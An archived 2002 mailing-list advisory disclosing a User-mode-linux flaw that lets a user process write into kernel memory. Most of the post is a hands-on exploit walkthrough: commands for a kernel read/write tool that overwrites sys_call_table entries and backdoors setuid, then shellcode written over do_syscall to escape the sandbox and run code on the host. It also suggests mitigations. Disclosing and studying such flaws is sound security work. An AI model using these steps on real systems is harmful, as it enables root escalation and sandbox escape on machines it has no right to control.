Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email firstname.lastname@example.org
From: Andrew Griffiths (andrewgtasmail.com)
Date: Sun Jan 27 2002 - 20:16:57 CST
Version tested: patch-2.4.17-8 [ I assume all previous versions would be ]
Not vulnerable: patch-2.4.17-9 [ Haven't tested any different techniques.]
Now for something completely different. Anything in 's is my comments to
my article... deal with it.
User-mode-linux is used to enchance kernel development by providing a debuggable
kernel, and also as a safebox for some applications.
[ Hereafter, uml refers to user-mode-linux. ]
A user proccess can write into kernel memory, which will allow a person to get root inside the uml "box", and the possibility to break out of the uml "box", into the real one.
This can happen even if the jail and honeypot options are turned on. [ Though I suspect the version i was testing was half-way through implementing them ]
Some effects can happen, such as causing the uml processes to die, and making a
process chew up heaps of cpu time indefinately.
I used the small debian 2.2 root fs to play around with, on a host kernel of
2.4.17ctx-5 (vserver context security patch).
To start it up I used:
[andrewgblackhole linux]$ ./linux ubd0=debcow,root_fs_debian2.2_small jail=1 honeypot=1 jail honeypot
[ I'm being doubly cautious, and looking at the jail setup code, I don't think
it would have been bothered by my putting it in their twice. ]
Well, to prevent some of the problems, I suggest running the uml in a chroot()ed
enviroment, with memory and cpu restrictions turned on.
Not allow people to run their own code. Well, thats rather tricky, since if
they can overflow anything (just a normal program) and execute code of their
own choosing, you have pretty much lost already...
[ Free tip for those who use it for high security. Put all the binaries on a
seperate ubd device, and leave make it non-writable by the uml process. That
way you don't have the replaced-replaced-binary problem, however, /bin would be hard to do. ]
There is no exploit as such yet, just a tool to help you exploit it. Attached is a program for you to play around with.
This program is somewhat simple, and definately not finished. However, it does everything I needed it do, plus a couple of other things.
For the commands you don't specify the offset for sys_call_table, it uses the built in one at 0xa019f650. [ Which is nolonger valid for my ./linux, and most likely not for your system. ]
[andrewgblackhole mpmt]$ ./mpmt -h ./mpmt: invalid option -- h [ Hey, I said it wasn't finished. ] Multi-Purpose Modification Tool v0.6 by Andrew Griffiths ./mpmt -1 [ -2 ] [ -o ] [ -p | -f | -s ] [ -r ]
./mpmt -o 0xa020ee1f -p -1 61 Would print out the offset of chroot at the sys_call_table location of 0xa020ee1f
./mpmt -1 23 -2 36 Would replace setuid()'s location in sys_call_table with sync()s function.
./mpmt -1 23 -2 36 -r Would replace setuid()'s location in sys_call_table with sync()s function, and restore it back to it would in n seconds. (time default is 30 seconds)
For values of these numbers, look in /usr/include/asm/unistd.h
Also, you can do abiratory read and writes on kernel memory, with the -a for the address, -c for how much to copy, -R to read, and -W to write and -F to specify file. [andrewgblackhole mpmt]$
To do things like play around with the sys_call_table, you'll need the address of it. To get it, just do:
[andrewgblackhole linux]$ nm -a linux | grep sys_call_table a01bb744 D sys_call_table 00000000 a sys_call_table.c [andrewgblackhole linux]$
and the first address is the sys_call_table. I haven't looked into determining the sys_call_table address while you're in it. I suspect it could be done by looking at the kernel memory (which is an elf file), and finding the address via the global offset table, or something. If it isn't stripped, you should be laughing. Once you can work these out, you should be able to write a version independant exploit.
Since you've already seen some of the things it does, I'll explain the bottom parts.
To get a copy of the first 256 bytes of the sys_call_table struct, and to dump it into systable:
andrewgusermode:~$ ./mpmt -a 0xa01bb744 -c 256 -R -F systable
To get the first 2048 bytes of setuid so you can backdoor it:
andrewgusermode:~$ ./mpmt -o 0xa01bb744 -p -1 23 Location in memory where function 23 is 0xa0018024 andrewgusermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -R andrewgusermode:~$ [ Now run ndisasm and patch and then run... ] andrewgusermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -W
The sharp reader will have already noticed that we could replace the getuid with a harmless syscall such as sync, and then call su || su -c "shell script" to do what we want. However, on my system, there's a couple of problems, like it starting of way too many su proccess's or them dying straight away. However the -c one seems to work...
[ News just in... ]
And now for the ultimate exploit against User-mode-linux: Breaking out of it. To break out of uml, you need to cause the tracer program to execute code of your choosing. [ No shit!?! Thats because the tracer pid isn't running being ptraced itself. Sidenote: If you could kill the tracer, you might be able to execute cide... ] We can accomplice this by writing into certain areas of memory... The function I have choose to target is do_syscall.
Now, for the exploitation:
[andrewgblackhole andrewg]$ nm -a /usr/src/linux/linux | grep do_syscall a01000f0 T do_syscall [andrewgblackhole andrewg]$ cat /tmp/sh <<_EOF_ #!/bin/sh echo OWNED > /tmp/umlisbroken _EOF_ [andrewgblackhole andrewg]$ chmod +x /tmp/sh
And now for the usermode linux part, where ex is just a program that spits out standard Aleph1 (Phrack 49) shellcode.
andrewgusermode:~$ ./ex | sed s/bin/tmp/ > exploit_code andrewgusermode:~$ ./mpmt -a 0xa01000f0 -c 43 -W -F exploit_code
At this point, the screen where you started UML, is probably a message like: Kernel panic: Error mapping a page - errno = 9 [ Bad File descriptor ]
I suspect its trying to mmap() a page from somewhere with a fd that isn't valid for the real kernel. (Cause it's no longer being ptrace()d.)
And now [Drum roll please]
[andrewgblackhole andrewg]$ cat /tmp/umlisbroken OWNED [andrewgblackhole andrewg]$
You may be asking why the shellcode doesn't do anything more interesting than exec()ing /tmp/sh, well, you gotta remember this is for "proof of concept"...
Don't forget to do a "killall -9 linux" and restart it, cause you've just killed it....
- application/octet-stream attachment: mpmt.tgz